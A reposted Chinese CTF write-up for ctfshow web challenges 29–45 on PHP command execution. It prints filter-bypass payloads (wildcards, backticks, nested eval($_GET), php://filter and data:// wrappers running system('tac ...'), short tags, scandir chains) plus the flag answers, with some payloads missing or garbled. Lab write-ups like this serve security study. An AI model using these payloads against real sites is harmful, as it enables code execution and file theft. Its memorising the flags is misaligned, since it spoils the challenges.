| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> PHP知识库 -> ctfshow--web--命令执行 -> 正文阅读 |
|
[PHP知识库]ctfshow--web--命令执行 |
web29可以看到过滤了flag字样 但我们可以通过通配符绕过flag,比如用fla?来表示flag 先用 ? 然后使用 ? ? 然后访问 ?得到flag ?web30发现新过滤了 我们此时可以通过反引号```来代替system,继续利用通配符 则payload ?c=`cp fla?.??? 1.txt`; ? ?然后再访问 web31发现新过滤了 我们可以通过eval嵌套执行get的第一个参数 payload: ?c=eval($_GET[1]);&1=system('cat flag.php');
?这里有一点就是执行之后页面是空白的,只有查看源代码才能发现flag ?web32过滤了括号以及分号 payload: c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php ? 放入base64解码即可的到flag ?ctfshow{b0422ea2-802f-423d-9675-1c235a0d0690} web33本题多过滤了一个双引号,这题用require函数 ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php ? ? ?flag="ctfshow{ca648c78-4720-44ac-99c5-184284d0d8f0}" web34过滤又增加了: ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php ? ?flag="ctfshow{8429b46f-8ffc-40b4-b4b0-8a1f25a175fd} web35又多过滤了<,依然可以用之前的方法 ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php ?flag="ctfshow{5e9c8591-1df1-45de-9146-63c8075896e2}" ?web36又增加了数字.emmmm…依然可以用之前的方法。只不过换成字母 ?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php ?flag="ctfshow{d25a5fe9-07ad-4984-9f45-ebbeb272efe2}" web37与之前不同的是这里包含了一个c:include($c); 这题我们可以通过data伪协议读取 payload: ?c=data://text/plain,<?php system('tac fla?.php');?>
?data://伪协议 flag="ctfshow{9a2d8846-a9e3-45a0-a8c1-e9efd8d8e8a0}" web38打开这题发现php被过滤了,但这题php代码这里可以使用php短标签进行绕过,flag.php这可继续用通配符?绕过 payload:?c=data://text/plain,<?=system('tac fla?.???')?> 说明:‘<?=’是PHP的一个短的开放式标签,是echo的开放式用法。 ?flag="ctfshow{95735898-480e-456e-b676-048c4ef7edd4}" web39在这不同的是 但在这我们可以使用上次的payload: ?c=data://text/plain,<?=system('tac fla?.php')?> ?flag="ctfshow{0981bc71-7135-4f3f-89ed-f673cb96a631}" web40发现基本所有符号都被过滤了 大概只剩下了分号,下划线,以及英文括号(观察很久才发现题目过滤的是中文括号) 打印当初路径下文件的函数:print_r(scandir('.')) 但是很明显单引号和小数点已经过滤了,这里要先办法绕过 最简单的方法是利用函数传参,那就找当前能用包含小数点的函数 localeconv() 返回一包含本地数字及货币格式信息的数组 那么按找接下来思路就是构造:print_r(scandir(localeconv()[0])) 但是这个函数是不能localeconv()[0]这样返回的,而且方括号也被过滤了,那么就要用到别的函数 1.current() 函数返回数组中的当前元素(单元),默认取第一个值, 2.pos() 同 current() ,是current()的别名 3.reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE 这里三个函数都可以用 因此打印当前目录:?c=print_r(scandir(pos(localeconv()))); ? 从此目录发现了flag.php 这里可以的用next() 输出数组中的当前元素的下一个元素的值,也就是可以输出第二个(还有end可以输出最后一个) 但是flag在第三个怎么办?可以用array_reverse函数 这个函数就是将数组转置; 所以payload:?c=print_r(next(array_reverse(scandir(pos(localeconv()))))); ? 可以到达flag.php这个目录,接下来我们查看他的代码即可得到flag 最终payload:? 得到flag ? web42利用函数:system() 绕过思路:这里是通过 Payload1:?c= ?Payload2: ?c= ?flag="ctfshow{116d09a7-18d8-4820-9f1c-5560f110cd73}" web43在这基础上又过滤了; cat ?c=cp flag.php 1.txt||
?flag="ctfshow{019f8347-cd61-484c-adcf-be73bc0fa0e9}" ?web44payload: ?c=tac fl*.php||
?flag="ctfshow{5804aba2-462e-409f-a24f-518d14df091c}" web45%09是Tab的url编码 ?c=tac%09fl*.php|| ?flag="ctfshow{cf485f41-6502-4363-b00c-34668e23e587}" |
|
PHP知识库 最新文章 |
Laravel 下实现 Google 2fa 验证 |
UUCTF WP |
DASCTF10月 web |
XAMPP任意命令执行提升权限漏洞(CVE-2020- |
[GYCTF2020]Easyphp |
iwebsec靶场 代码执行关卡通关笔记 |
多个线程同步执行,多个线程依次执行,多个 |
php 没事记录下常用方法 (TP5.1) |
php之jwt |
2021-09-18 |
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/23 11:24:26- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |